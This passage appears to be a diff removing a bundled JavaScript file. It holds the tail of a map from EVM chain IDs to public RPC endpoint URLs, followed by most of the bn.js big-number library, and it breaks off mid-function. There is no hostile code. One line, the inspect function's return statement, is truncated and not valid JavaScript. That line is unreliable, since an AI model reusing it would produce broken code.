["https://beagle.chat/eth"], "1618": ["https://send.catechain.com"], "1620": [], "1657": ["https://dataseed1.btachain.com/"], "1707": ["https://rpc.blockchain.or.th"], "1708": ["https://rpc.testnet.blockchain.or.th"], "1856": [], "1881": ["https://rpc.cartenz.works"], "1972": ["https://rpc2.redecoin.eu"], "1975": ["https://rpc.onuschain.io"], "1987": [], "2000": ["https://rpc.dogechain.dog", "https://rpc-us.dogechain.dog", "https://rpc-sg.dogechain.dog", "https://rpc.dogechain.dog", "https://rpc01-sg.dogechain.dog", "https://rpc02-sg.dogechain.dog", "https://rpc03-sg.dogechain.dog"], "2016": ["https://eu-rpc.mainnetz.io"], "2021": ["https://mainnet2.edgewa.re/evm", "https://mainnet3.edgewa.re/evm", "https://edgeware-evm.jelliedowl.net/"], "2025": ["https://mainnet.rangersprotocol.com/api/jsonrpc"], "2049": ["https://msc-rpc.movoscan.com/"], "2077": [], "2100": ["https://api.ecoball.org/ecoball/"], "2213": ["https://seed4.evanesco.org:8546"], "2222": ["https://evm.kava.io", "https://kava-evm-rpc.publicnode.com", "https://kava-pokt.nodies.app"], "2323": [], "2332": [], "2458": [], "2468": [], "2559": [], "2612": ["https://api.ezchain.com/ext/bc/C/rpc"], "3501": ["https://rpc.jfinchain.com"], "3639": ["https://rpc.ichainscan.com"], "3690": [], "4002": ["https://rpc.testnet.fantom.network/", "https://endpoints.omniatech.io/v1/fantom/testnet/public", "https://fantom-testnet-rpc.publicnode.com"], "4139": ["https://humans-testnet-evm.itrocket.net"], "4181": ["https://rpc1.phi.network"], "4444": ["https://janus.htmlcoin.dev/janus/"], "4689": ["https://babel-api.mainnet.iotex.io", "https://babel-api.mainnet.iotex.one", "https://babel-api.fastblocks.io"], "5000": ["https://mantle-rpc.publicnode.com", "https://mantle.drpc.org", "https://1rpc.io/mantle"], "5050": ["https://rpc.liquidchain.net/", "https://rpc.xlcscan.com/"], "5165": ["https://bahamut-rpc.publicnode.com"], "5177": [], "5197": ["https://mainnet.eraswap.network"], "5315": [], "5551": ["https://l2.nahmii.io/"], "5700": ["https://rollux.rpc.tanenbaum.io", "https://syscoin-tanenbaum-evm-rpc.publicnode.com"], "5729": ["https://rpc-testnet.hika.network"], "5869": ["https://proxy.wegochain.io"], "6363": ["https://dsc-rpc.digitsoul.co.th"], "6626": ["https://http-mainnet.chain.pixie.xyz"], "6688": ["https://iris-evm-rpc.publicnode.com"], "7000": ["https://zeta.rpcgrid.com"], "7001": [], "7070": ["https://planq-rpc.nodies.app", "https://jsonrpc.planq.nodestake.top/"], "7341": ["https://rpc.shyft.network/"], "7700": ["https://canto.gravitychain.io/", "https://canto.evm.chandrastation.com/", "https://jsonrpc.canto.nodestake.top/", "https://canto.dexvaults.com/", "https://canto-rpc.ansybl.io"], "7777": ["https://testnet1.rotw.games", "https://testnet2.rotw.games", "https://testnet3.rotw.games", "https://testnet4.rotw.games", "https://testnet5.rotw.games"], "7895": [], "8000": ["https://dataseed.testnet.teleport.network"], "8081": [], "8082": [], "8131": ["https://testnet.meerlabs.com"], "8217": ["https://public-en-cypress.klaytn.net", "https://1rpc.io/klay", "https://klaytn-pokt.nodies.app", "https://klaytn.drpc.org"], "8453": ["https://mainnet.base.org", "https://developer-access-mainnet.base.org", "https://rpc.notadegen.com/base", "https://base.llamarpc.com", "https://1rpc.io/base", "https://base-pokt.nodies.app", "https://base.meowrpc.com", "https://base-rpc.publicnode.com", "https://base.drpc.org", "https://endpoints.omniatech.io/v1/base/mainnet/public"], "8899": ["https://rpc-l1.jibchain.net", "https://jib-rpc.inan.in.th", "https://rpc-l1.jbc.aomwara.in.th", "https://rpc-l1.jbc.xpool.pw"], "8995": ["https://core.bloxberg.org"], "9000": ["https://evmos-testnet-json.qubelabs.io", "https://evmos-tjson.antrixy.org", "https://evmos-testnet-rpc.kingsuper.services", "https://rpc.evmos.test.theamsolutions.info", "https://api.evmos-test.theamsolutions.info", "https://rpc.evmos.testnet.node75.org", "https://rpc-evm.testnet.evmos.dragonstake.io", "https://evmos-testnet-rpc.stake-town.com", "https://evmos-testnet-jsonrpc.stake-town.com", "https://api.evmos-test.theamsolutions.info", "https://jsonrpc-t.evmos.nodestake.top", "https://evmos-testnet-jsonrpc.autostake.com", "https://evmos-testnet-jsonrpc.alkadeta.com", "https://evm-rpc.evmost.silentvalidator.com", "https://testnet-evm-rpc-evmos.hoodrun.io", "https://alphab.ai/rpc/eth/evmos_testnet", "https://t-evmos-jsonrpc.kalia.network", "https://jsonrpc-evmos-testnet.mzonder.com", "https://evmos-testnet.lava.build/lava-referer-16223de7-12c0-49f3-8d87-e5f1e6a0eb3b"], "9001": ["https://jsonrpc-evmos.goldenratiostaking.net", "https://eth.bd.evmos.org:8545/", "https://evmos-json-rpc.stakely.io", "https://jsonrpc-evmos-ia.cosmosia.notional.ventures", "https://json-rpc.evmos.blockhunters.org", "https://evmos-json-rpc.agoranodes.com", "https://evmos-json.antrixy.org", "https://jsonrpc.evmos.nodestake.top", "https://evmos-jsonrpc.alkadeta.com", "https://evmos-json.qubelabs.io", "https://evmos-rpc.theamsolutions.info", "https://evmos-api.theamsolutions.info", "https://evmos-jsonrpc.theamsolutions.info", "https://evm-rpc-evmos.hoodrun.io", "https://evmos-json-rpc.0base.dev", "https://json-rpc.evmos.tcnetwork.io", "https://rpc-evm.evmos.dragonstake.io", "https://evmosevm.rpc.stakin-nodes.com", "https://evmos-jsonrpc.stake-town.com", "https://json-rpc-evmos.mainnet.validatrium.club", "https://rpc-evmos.imperator.co", "https://evm-rpc.evmos.silentvalidator.com", "https://alphab.ai/rpc/eth/evmos", "https://evmos-jsonrpc.kalia.network", "https://jsonrpc-evmos.mzonder.com", "https://evmos-pokt.nodies.app", "https://evmos-evm-rpc.publicnode.com"], "9100": [], "10000": ["https://smartbch.fountainhead.cash/mainnet", "https://global.uat.cash", "https://rpc.uatvo.com"], "10086": [], "10101": ["https://eu.mainnet.xixoio.com"], "10200": ["https://rpc.chiadochain.net", "https://gnosis-chiado-rpc.publicnode.com", "https://1rpc.io/gnosis"], "10248": [], "11111": ["https://api.trywagmi.xyz/rpc"], "11235": ["https://haqq-evm-rpc.publicnode.com"], "12052": ["https://zerorpc.singularity.gold"], "13000": ["https://rpc.ssquad.games"], "13381": ["https://rpc.phoenixplorer.com/"], "15551": [], "15557": [], "16000": [], "17000": ["https://ethereum-holesky-rpc.publicnode.com", "https://1rpc.io/holesky", "https://holesky-rpc.nocturnode.tech"], "17777": [], "18159": ["https://mainnet-rpc.memescan.io/", "https://mainnet-rpc2.memescan.io/", "https://mainnet-rpc3.memescan.io/", "https://mainnet-rpc4.memescan.io/"], "19845": [], "21816": ["https://seed.omlira.com"], "23294": ["https://1rpc.io/oasis/sapphire"], "24484": [], "24734": ["https://node1.mintme.com"], "31102": [], "32520": ["https://rpc.icecreamswap.com", "https://nodes.vefinetwork.org/bitgert", "https://flux-rpc.brisescan.com", "https://flux-rpc1.brisescan.com", "https://flux-rpc2.brisescan.com", "https://rpc-1.chainrpc.com", "https://rpc-2.chainrpc.com", "https://node1.serverrpc.com", "https://node2.serverrpc.com"], "32659": ["https://mainnet.fusionnetwork.io"], "34443": ["https://1rpc.io/mode"], "35011": [], "35441": [], "39797": ["https://nodeapi.energi.network", "https://explorer.energi.network/api/eth-rpc"], "39815": ["https://mainnet.oho.ai", "https://mainnet-rpc.ohoscan.com", "https://mainnet-rpc2.ohoscan.com"], "42069": [], "42161": ["https://arb1.arbitrum.io/rpc", "https://arbitrum.llamarpc.com", "https://1rpc.io/arb", "https://arb-pokt.nodies.app", "https://endpoints.omniatech.io/v1/arbitrum/one/public", "https://arbitrum-one-rpc.publicnode.com", "https://arbitrum.meowrpc.com", "https://arbitrum.drpc.org", "https://rpc.tornadoeth.cash/arbitrum"], "42170": ["https://nova.arbitrum.io/rpc", "https://arbitrum-nova-rpc.publicnode.com", "https://arbitrum-nova.drpc.org"], "42220": ["https://forno.celo.org", "https://1rpc.io/celo"], "42262": ["https://emerald.oasis.dev/", "https://1rpc.io/oasis/emerald"], "43110": [], "43113": ["https://api.avax-test.network/ext/bc/C/rpc", "https://avalanchetestapi.terminet.io/ext/bc/C/rpc", "https://endpoints.omniatech.io/v1/avax/fuji/public", "https://avalanche-fuji-c-chain-rpc.publicnode.com"], "43114": ["https://api.avax.network/ext/bc/C/rpc", "https://avalanche.public-rpc.com", "https://avalancheapi.terminet.io/ext/bc/C/rpc", "https://avalanche-c-chain-rpc.publicnode.com", "https://1rpc.io/avax/c", "https://avax-pokt.nodies.app/ext/bc/C/rpc", "https://endpoints.omniatech.io/v1/avax/mainnet/public", "https://avax.meowrpc.com", "https://avalanche.drpc.org", "https://rpc.tornadoeth.cash/avax"], "45000": ["https://rpc.autobahn.network"], "47805": ["https://rpc.rei.network"], "50001": ["https://rpc.oracle.liveplex.io"], "53935": ["https://avax-pokt.nodies.app/ext/bc/q2aTwKuyzgs8pynF7UXBZCU7DejbZbZ6EUyHr3JQzYgwNPUPi/rpc"], "55555": ["https://rei-rpc.moonrhythm.io"], "59140": [], "59144": ["https://1rpc.io/linea", "https://linea.drpc.org", "https://linea.decubate.com"], "63000": ["https://rpc.ecredits.com"], "70000": [], "70001": ["https://proxy1.thinkiumrpc.net/"], "70002": ["https://proxy2.thinkiumrpc.net/"], "70103": ["https://proxy103.thinkiumrpc.net/"], "71394": ["https://mainnet.godwoken.io/rpc/eth-wallet"], "80001": ["https://rpc-mumbai.maticvigil.com", "https://polygontestapi.terminet.io/rpc", "https://endpoints.omniatech.io/v1/matic/mumbai/public", "https://polygon-mumbai-bor-rpc.publicnode.com", "https://polygon-mumbai-pokt.nodies.app"], "81457": ["https://rpc.blast.io", "https://blast.din.dev/rpc", "https://blastl2-mainnet.public.blastapi.io", "https://blast.blockpi.network/v1/rpc/public"], "84531": ["https://1rpc.io/base-goerli", "https://base-goerli-rpc.publicnode.com", "https://endpoints.omniatech.io/v1/base/goerli/public"], "84532": ["https://rpc.notadegen.com/base/sepolia"], "99999": ["https://rpc.uschain.network"], "100000": [], "100001": [], "100002": [], "100003": [], "100004": [], "100005": [], "100006": [], "100007": [], "100008": [], "103090": ["https://evm.cryptocurrencydevs.org", "https://rpc.crystaleum.org"], "108801": [], "110000": [], "110001": [], "110002": [], "110003": [], "110004": [], "110005": [], "110006": [], "110007": [], "110008": [], "142857": [], "167008": [], "200625": ["https://boot2.akroma.org/"], "201018": ["https://openapi.alaya.network/rpc"], "210425": [], "246529": [], "256256": ["https://mainnet.block.caduceus.foundation"], "281121": [], "314159": [], "333999": ["https://rpc.polis.tech"], "363636": ["https://dgs-rpc.digitsoul.co.th"], "420420": ["https://mainnet.kekchain.com", "https://rpc2.kekchain.com", "https://kek.interchained.org", "https://kekchain.interchained.org"], "420666": ["https://testnet.kekchain.com"], "421613": ["https://endpoints.omniatech.io/v1/arbitrum/goerli/public", "https://arbitrum-goerli-rpc.publicnode.com", "https://api.stateless.solutions/arbitrum-one/v1/77abba85-53e4-4430-a332-a46deb9900ea"], "421614": [], "431140": ["https://rpc.markr.io/ext/"], "512512": ["https://galaxy.block.caduceus.foundation"], "534351": ["https://scroll-sepolia.drpc.org", "https://scroll-testnet.rpc.grove.city/v1/a7a7c8e2"], "534352": ["https://rpc.scroll.io", "https://rpc-scroll.icecreamswap.com", "https://1rpc.io/scroll", "https://scroll.drpc.org", "https://scroll-mainnet.rpc.grove.city/v1/a7a7c8e2"], "534353": [], "534354": ["https://prealpha-rpc.scroll.io/l2"], "827431": ["https://mainnet-rpc.curvescan.io"], "888888": ["https://infragrid.v.network/ethereum/compatible"], "900000": ["https://api.posichain.org", "https://api.s0.posichain.org"], "955305": ["https://host-76-74-28-226.contentfabric.io/eth/"], "1313114": ["https://rpc.ethoprotocol.com"], "1313500": ["https://rpc.xerom.org"], "2099156": ["https://mainnet.plian.io/pchain"], "7762959": [], "8007736": ["https://mainnet.plian.io/child_0"], "10067275": ["https://testnet.plian.io/child_test"], "11155111": ["https://rpc.notadegen.com/eth/sepolia", "https://endpoints.omniatech.io/v1/eth/sepolia/public", "https://ethereum-sepolia-rpc.publicnode.com", "https://1rpc.io/sepolia"], "11155420": [], "13371337": [], "16658437": ["https://testnet.plian.io/testnet"], "18289463": [], "20181205": ["https://hz.rpc.qkiscan.cn", "https://rpc1.qkiscan.cn", "https://rpc2.qkiscan.cn", "https://rpc3.qkiscan.cn", "https://rpc1.qkiscan.io", "https://rpc2.qkiscan.io", "https://rpc3.qkiscan.io"], "28945486": [], "35855456": ["https://node.joys.digital"], "61717561": ["https://c.onical.org"], "88888888": ["https://rpc.teamblockchain.team"], "168587773": [], "192837465": ["https://mainnet.gather.network"], "245022926": ["https://devnet.neonevm.org"], "245022934": ["https://neon-proxy-mainnet.solana.p2p.org", "https://neon-mainnet.everstake.one"], "311752642": ["https://mainnet-rpc.oneledger.network"], "356256156": ["https://testnet.gather.network"], "486217935": ["https://devnet.gather.network"], "1122334455": [], "1313161554": ["https://mainnet.aurora.dev", "https://endpoints.omniatech.io/v1/aurora/mainnet/public", "https://1rpc.io/aurora", "https://aurora.drpc.org"], "1313161555": ["https://endpoints.omniatech.io/v1/aurora/testnet/public"], "1313161556": [], "1666600000": ["https://api.harmony.one", "https://a.api.s0.t.hmny.io", "https://api.s0.t.hmny.io", "https://1rpc.io/one", "https://hmyone-pokt.nodies.app", "https://endpoints.omniatech.io/v1/harmony/mainnet-0/public"], "1666600001": ["https://s1.api.harmony.one"], "1666600002": ["https://s2.api.harmony.one"], "1666600003": [], "1666700000": ["https://endpoints.omniatech.io/v1/harmony/testnet-0/public"], "2021121117": [], "3125659152": [], "11297108109": [], "836542336838601": [], "11297108099": [], "197710212030": ["https://rpc.ntity.io"], "6022140761023": ["https://molereum.jdubedition.com"] }; - } - }); - var require_buffer = __commonJS2({ - "(disabled):buffer"() { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - } - }); - var require_bn = __commonJS2({ - "node_modules/bn.js/lib/bn.js"(exports, module) { - "use strict"; - init_define_chainIDList(); - init_define_extraRpcs(); - (function(module2, exports2) { - "use strict"; - function assert22(val, msg) { - if (!val) - throw new Error(msg || "Assertion failed"); - } - function inherits2(ctor, superCtor) { - ctor.super_ = superCtor; - var TempCtor = function() { - }; - TempCtor.prototype = superCtor.prototype; - ctor.prototype = new TempCtor(); - ctor.prototype.constructor = ctor; - } - function BN32(number, base22, endian) { - if (BN32.isBN(number)) { - return number; - } - this.negative = 0; - this.words = null; - this.length = 0; - this.red = null; - if (number !== null) { - if (base22 === "le" || base22 === "be") { - endian = base22; - base22 = 10; - } - this._init(number || 0, base22 || 10, endian || "be"); - } - } - if (typeof module2 === "object") { - module2.exports = BN32; - } else { - exports2.BN = BN32; - } - BN32.BN = BN32; - BN32.wordSize = 26; - var Buffer2; - try { - if (typeof window !== "undefined" && typeof window.Buffer !== "undefined") { - Buffer2 = window.Buffer; - } else { - Buffer2 = require_buffer().Buffer; - } - } catch (e) { - } - BN32.isBN = function isBN(num) { - if (num instanceof BN32) { - return true; - } - return num !== null && typeof num === "object" && num.constructor.wordSize === BN32.wordSize && Array.isArray(num.words); - }; - BN32.max = function max(left, right) { - if (left.cmp(right) > 0) - return left; - return right; - }; - BN32.min = function min(left, right) { - if (left.cmp(right) < 0) - return left; - return right; - }; - BN32.prototype._init = function init22(number, base22, endian) { - if (typeof number === "number") { - return this._initNumber(number, base22, endian); - } - if (typeof number === "object") { - return this._initArray(number, base22, endian); - } - if (base22 === "hex") { - base22 = 16; - } - assert22(base22 === (base22 | 0) && base22 >= 2 && base22 <= 36); - number = number.toString().replace(/\s+/g, ""); - var start = 0; - if (number[0] === "-") { - start++; - this.negative = 1; - } - if (start < number.length) { - if (base22 === 16) { - this._parseHex(number, start, endian); - } else { - this._parseBase(number, base22, start); - if (endian === "le") { - this._initArray(this.toArray(), base22, endian); - } - } - } - }; - BN32.prototype._initNumber = function _initNumber(number, base22, endian) { - if (number < 0) { - this.negative = 1; - number = -number; - } - if (number < 67108864) { - this.words = [number & 67108863]; - this.length = 1; - } else if (number < 4503599627370496) { - this.words = [ - number & 67108863, - number / 67108864 & 67108863 - ]; - this.length = 2; - } else { - assert22(number < 9007199254740992); - this.words = [ - number & 67108863, - number / 67108864 & 67108863, - 1 - ]; - this.length = 3; - } - if (endian !== "le") - return; - this._initArray(this.toArray(), base22, endian); - }; - BN32.prototype._initArray = function _initArray(number, base22, endian) { - assert22(typeof number.length === "number"); - if (number.length <= 0) { - this.words = [0]; - this.length = 1; - return this; - } - this.length = Math.ceil(number.length / 3); - this.words = new Array(this.length); - for (var i = 0; i < this.length; i++) { - this.words[i] = 0; - } - var j, w; - var off = 0; - if (endian === "be") { - for (i = number.length - 1, j = 0; i >= 0; i -= 3) { - w = number[i] | number[i - 1] << 8 | number[i - 2] << 16; - this.words[j] |= w << off & 67108863; - this.words[j + 1] = w >>> 26 - off & 67108863; - off += 24; - if (off >= 26) { - off -= 26; - j++; - } - } - } else if (endian === "le") { - for (i = 0, j = 0; i < number.length; i += 3) { - w = number[i] | number[i + 1] << 8 | number[i + 2] << 16; - this.words[j] |= w << off & 67108863; - this.words[j + 1] = w >>> 26 - off & 67108863; - off += 24; - if (off >= 26) { - off -= 26; - j++; - } - } - } - return this._strip(); - }; - function parseHex4Bits(string, index2) { - var c = string.charCodeAt(index2); - if (c >= 48 && c <= 57) { - return c - 48; - } else if (c >= 65 && c <= 70) { - return c - 55; - } else if (c >= 97 && c <= 102) { - return c - 87; - } else { - assert22(false, "Invalid character in " + string); - } - } - function parseHexByte(string, lowerBound, index2) { - var r22 = parseHex4Bits(string, index2); - if (index2 - 1 >= lowerBound) { - r22 |= parseHex4Bits(string, index2 - 1) << 4; - } - return r22; - } - BN32.prototype._parseHex = function _parseHex(number, start, endian) { - this.length = Math.ceil((number.length - start) / 6); - this.words = new Array(this.length); - for (var i = 0; i < this.length; i++) { - this.words[i] = 0; - } - var off = 0; - var j = 0; - var w; - if (endian === "be") { - for (i = number.length - 1; i >= start; i -= 2) { - w = parseHexByte(number, start, i) << off; - this.words[j] |= w & 67108863; - if (off >= 18) { - off -= 18; - j += 1; - this.words[j] |= w >>> 26; - } else { - off += 8; - } - } - } else { - var parseLength = number.length - start; - for (i = parseLength % 2 === 0 ? start + 1 : start; i < number.length; i += 2) { - w = parseHexByte(number, start, i) << off; - this.words[j] |= w & 67108863; - if (off >= 18) { - off -= 18; - j += 1; - this.words[j] |= w >>> 26; - } else { - off += 8; - } - } - } - this._strip(); - }; - function parseBase(str, start, end, mul32) { - var r22 = 0; - var b = 0; - var len = Math.min(str.length, end); - for (var i = start; i < len; i++) { - var c = str.charCodeAt(i) - 48; - r22 *= mul32; - if (c >= 49) { - b = c - 49 + 10; - } else if (c >= 17) { - b = c - 17 + 10; - } else { - b = c; - } - assert22(c >= 0 && b < mul32, "Invalid character"); - r22 += b; - } - return r22; - } - BN32.prototype._parseBase = function _parseBase(number, base22, start) { - this.words = [0]; - this.length = 1; - for (var limbLen = 0, limbPow = 1; limbPow <= 67108863; limbPow *= base22) { - limbLen++; - } - limbLen--; - limbPow = limbPow / base22 | 0; - var total = number.length - start; - var mod = total % limbLen; - var end = Math.min(total, total - mod) + start; - var word = 0; - for (var i = start; i < end; i += limbLen) { - word = parseBase(number, i, i + limbLen, base22); - this.imuln(limbPow); - if (this.words[0] + word < 67108864) { - this.words[0] += word; - } else { - this._iaddn(word); - } - } - if (mod !== 0) { - var pow = 1; - word = parseBase(number, i, number.length, base22); - for (i = 0; i < mod; i++) { - pow *= base22; - } - this.imuln(pow); - if (this.words[0] + word < 67108864) { - this.words[0] += word; - } else { - this._iaddn(word); - } - } - this._strip(); - }; - BN32.prototype.copy = function copy(dest) { - dest.words = new Array(this.length); - for (var i = 0; i < this.length; i++) { - dest.words[i] = this.words[i]; - } - dest.length = this.length; - dest.negative = this.negative; - dest.red = this.red; - }; - function move(dest, src) { - dest.words = src.words; - dest.length = src.length; - dest.negative = src.negative; - dest.red = src.red; - } - BN32.prototype._move = function _move(dest) { - move(dest, this); - }; - BN32.prototype.clone = function clone() { - var r22 = new BN32(null); - this.copy(r22); - return r22; - }; - BN32.prototype._expand = function _expand(size) { - while (this.length < size) { - this.words[this.length++] = 0; - } - return this; - }; - BN32.prototype._strip = function strip() { - while (this.length > 1 && this.words[this.length - 1] === 0) { - this.length--; - } - return this._normSign(); - }; - BN32.prototype._normSign = function _normSign() { - if (this.length === 1 && this.words[0] === 0) { - this.negative = 0; - } - return this; - }; - if (typeof Symbol !== "undefined" && typeof Symbol.for === "function") { - try { - BN32.prototype[Symbol.for("nodejs.util.inspect.custom")] = inspect42; - } catch (e) { - BN32.prototype.inspect = inspect42; - } - } else { - BN32.prototype.inspect = inspect42; - } - function inspect42() { - return (this.red ? ""; - } - var zeros2 = [ - "", - "0", - "00", - "000", - "0000", - "00000", - "000000", - "0000000", - "00000000", - "000000000", - "0000000000", - "00000000000", - "000000000000", - "0000000000000", - "00000000000000", - "000000000000000", - "0000000000000000", - "00000000000000000", - "000000000000000000", - "0000000000000000000", - "00000000000000000000", - "000000000000000000000", - "0000000000000000000000", - "00000000000000000000000", - "000000000000000000000000", - "0000000000000000000000000" - ]; - var groupSizes = [ - 0, - 0, - 25, - 16, - 12, - 11, - 10, - 9, - 8, - 8, - 7, - 7, - 7, - 7, - 6, - 6, - 6, - 6, - 6, - 6, - 6, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5, - 5 - ]; - var groupBases = [ - 0, - 0, - 33554432, - 43046721, - 16777216, - 48828125, - 60466176, - 40353607, - 16777216, - 43046721, - 1e7, - 19487171, - 35831808, - 62748517, - 7529536, - 11390625, - 16777216, - 24137569, - 34012224, - 47045881, - 64e6, - 4084101, - 5153632, - 6436343, - 7962624, - 9765625, - 11881376, - 14348907, - 17210368, - 20511149, - 243e5, - 28629151, - 33554432, - 39135393, - 45435424, - 52521875, - 60466176 - ]; - BN32.prototype.toString = function toString3(base22, padding22) { - base22 = base22 || 10; - padding22 = padding22 | 0 || 1; - var out; - if (base22 === 16 || base22 === "hex") { - out = ""; - var off = 0; - var carry = 0; - for (var i = 0; i < this.length; i++) { - var w = this.words[i]; - var word = ((w << off | carry) & 16777215).toString(16); - carry = w >>> 24 - off & 16777215; - off += 2; - if (off >= 26) { - off -= 26; - i--; - } - if (carry !== 0 || i !== this.length - 1) { - out = zeros2[6 - word.length] + word + out; - } else { - out = word + out; - } - } - if (carry !== 0) { - out = carry.toString(16) + out; - } - while (out.length % padding22 !== 0) { - out = "0" + out; - } - if (this.negative !== 0) { - out = "-" + out; - } - return out; - } - if (base22 === (base22 | 0) && base22 >= 2 && base22 <= 36) { - var groupSize = groupSizes[base22]; - var groupBase = groupBases[base22]; - out = ""; - var c = this.clone(); - c.negative = 0; - while (!c.isZero()) { - var r22 = c.modrn(groupBase).toString(base22); - c = c.idivn(groupBase); - if (!c.isZero()) { - out = zeros2[groupSize - r22.length] + r22 + out; - } else { - out = r22 + out; - } - } - if (this.isZero()) { - out = "0" + out; - } - while (out.length % padding22 !== 0) { - out = "0" + out; - } - if (this.negative !== 0) { - out = "-" + out; - } - return out; - } - assert22(false, "Base should be between 2 and 36"); - }; - BN32.prototype.toNumber = function toNumber2() { - var ret = this.words[0]; - if (this.length === 2) { - ret += this.words[1] * 67108864; - } else if (this.length === 3 && this.words[2] === 1) { - ret += 4503599627370496 + this.words[1] * 67108864; - } else if (this.length > 2) { - assert22(false, "Number can only safely store up to 53 bits"); - } - return this.negative !== 0 ? -ret : ret; - }; - BN32.prototype.toJSON = function toJSON32() { - return this.toString(16, 2); - }; - if (Buffer2) { - BN32.prototype.toBuffer = function toBuffer(endian, length) { - return this.toArrayLike(Buffer2, endian, length); - }; - } - BN32.prototype.toArray = function toArray22(endian, length) { - return this.toArrayLike(Array, endian, length); - }; - var allocate = function allocate2(ArrayType, size) { - if (ArrayType.allocUnsafe) { - return ArrayType.allocUnsafe(size); - } - return new ArrayType(size); - }; - BN32.prototype.toArrayLike = function toArrayLike(ArrayType, endian, length) { - this._strip(); - var byteLength = this.byteLength(); - var reqLength = length || Math.max(1, byteLength); - assert22(byteLength <= reqLength, "byte array longer than desired length"); - assert22(reqLength > 0, "Requested array length <= 0"); - var res = allocate(ArrayType, reqLength); - var postfix = endian === "le" ? "LE" : "BE"; - this["_toArrayLike" + postfix](res, byteLength); - return res; - }; - BN32.prototype._toArrayLikeLE = function _toArrayLikeLE(res, byteLength) { - var position = 0; - var carry = 0; - for (var i = 0, shift = 0; i < this.length; i++) { - var word = this.words[i] << shift | carry; - res[position++] = word & 255; - if (position < res.length) { - res[position++] = word >> 8 & 255; - } - if (position < res.length) { - res[position++] = word >> 16 & 255; - } - if (shift === 6) { - if (position < res.length) { - res[position++] = word >> 24 & 255; - } - carry = 0; - shift = 0; - } else { - carry = word >>> 24; - shift += 2; - } - } - if (position < res.length) { - res[position++] = carry; - while (position < res.length) { - res[position++] = 0; - } - } - }; - BN32.prototype._toArrayLikeBE = function _toArrayLikeBE(res, byteLength) { - var position = res.length - 1; - var carry = 0; - for (var i = 0, shift = 0; i < this.length; i++) { - var word = this.words[i] << shift | carry; - res[position--] = word & 255; - if (position >= 0) { - res[position--] = word >> 8 & 255; - } - if (position >= 0) { - res[position--] = word >> 16 & 255; - } - if (shift === 6) { - if (position >= 0) { - res[position--] = word >> 24 & 255; - } - carry = 0; - shift = 0; - } else { - carry = word >>> 24; - shift += 2; - } - } - if (position >= 0) { - res[position--] = carry; - while (position >= 0) { - res[position--] = 0; - } - } - }; - if (Math.clz32) { - BN32.prototype._countBits = function _countBits(w) { - return 32 - Math.clz32(w); - }; - } else { - BN32.prototype._countBits = function _countBits(w) { - var t = w; - var r22 = 0; - if (t >= 4096) { - r22 += 13; - t >>>= 13; - } - if (t >= 64) { - r22 += 7; - t >>>= 7; - } - if (t >= 8) { - r22 += 4; - t >>>= 4; - } - if (t >= 2) { - r22 += 2; - t >>>= 2; - } - return r22 + t; - }; - } - BN32.prototype._zeroBits = function _zeroBits(w) { - if (w === 0) - return 26; - var t = w; - var r22 = 0; - if ((t & 8191) === 0) { - r22 += 13; - t >>>= 13; - } - if ((t & 127) === 0) { - r22 += 7; - t >>>= 7; - } - if ((t & 15) === 0) { - r22 += 4; - t >>>= 4; - } - if ((t & 3) === 0) { - r22 += 2; - t >>>= 2; - } - if ((t & 1) === 0) { - r22++; - } - return r22; - }; - BN32.prototype.bitLength = function bitLength() { - var w = this.words[this.length - 1]; - var hi = this._countBits(w); - return (this.length - 1) * 26 + hi; - }; - function toBitArray(num) { - var w = new Array(num.bitLength()); - for (var bit = 0; bit < w.length; bit++) { - var off = bit / 26 | 0; - var wbit = bit % 26; - w[bit] = num.words[off] >>> wbit & 1; - } - return w; - } - BN32.prototype.zeroBits = function zeroBits() { - if (this.isZero()) - return 0; - var r22 = 0; - for (var i = 0; i < this.length; i++) { - var b = this._zeroBits(this.words[i]); - r22 += b; - if (b !== 26) - break; - } - return r22; - }; - BN32.prototype.byteLength = function byteLength() { - return Math.ceil(this.bitLength() / 8); - }; - BN32.prototype.toTwos = function toTwos(width) { - if (this.negative !== 0) { - return this.abs().inotn(width).iaddn(1); - } - return this.clone(); - }; - BN32.prototype.fromTwos = function fromTwos(width) { - if (this.testn(width - 1)) { - return this.notn(width).iaddn(1).ineg(); - } - return this.clone(); - }; - BN32.prototype.isNeg = function isNeg() { - return this.negative !== 0; - }; - BN32.prototype.neg = function neg32() { - return this.clone().ineg(); - }; - BN32.prototype.ineg = function ineg() { - if (!this.isZero()) { - this.negative ^= 1; - } - return this; - }; - BN32.prototype.iuor = function iuor(num) { - while (this.length < num.length) { - this.words[this.length++] = 0; - } - for (var i = 0; i < num.length; i++) { - this.words[i] = this.words[i] | num.words[i]; - } - return this._strip(); - }; - BN32.prototype.ior = function ior(num) { - assert22((this.negative | num.negative) === 0); - return this.iuor(num); - }; - BN32.prototype.or = function or(num) { - if (this.length > num.length) - return this.clone().ior(num); - return num.clone().ior(this); - }; - BN32.prototype.uor = function uor(num) { - if (this.length > num.length) - return this.clone().iuor(num); - return num.clone().iuor(this); - }; - BN32.prototype.iuand = function iuand(num) { - var b; - if (this.length > num.length) { - b = num; - } else { - b = this; - } - for (var i = 0; i < b.length; i++) { - this.words[i] = this.words[i] & num.words[i]; - } - this.length = b.length; - return this._strip(); - }; - BN32.prototype.iand = function iand(num) { - assert22((this.negative | num.negative) === 0); - return this.iuand(num); - }; - BN32.prototype.and = function and(num) { - if (this.length > num.length) - return this.clone().iand(num); - return num.clone().iand(this); - }; - BN32.prototype.uand = function uand(num) { - if (this.length > num.length) - return this.clone().iuand(num); - return num.clone().iuand(this); - }; - BN32.prototype.iuxor = function iuxor(num) { - var a; - var b; - if (this.length > num.length) { - a = this; - b = num; - } else { - a = num; - b = this; - } - for (var i = 0; i < b.length; i++) { - this.words[i] = a.words[i] ^ b.words[i]; - } - if (this !== a) { - for (; i < a.length; i++) { - this.words[i] = a.words[i]; - } - } - this.length = a.length; - return this._strip(); - }; - BN32.prototype.ixor = function ixor(num) { - assert22((this.negative | num.negative) === 0); - return this.iuxor(num); - }; - BN32.prototype.xor = function xor(num) { - if (this.length > num.length) - return this.clone().ixor(num); - return num.clone().ixor(this); - }; - BN32.prototype.uxor = function uxor(num) { - if (this.length > num.length) - return this.clone().iuxor(num); - return num.clone().iuxor(this); - }; - BN32.prototype.inotn = function inotn(width) { - assert22(typeof width === "number" && width >= 0); - var bytesNeeded = Math.ceil(width / 26) | 0; - var bitsLeft = width % 26; - this._expand(bytesNeeded); - if (bitsLeft > 0) { - bytesNeeded--; - } - for (var i = 0; i < 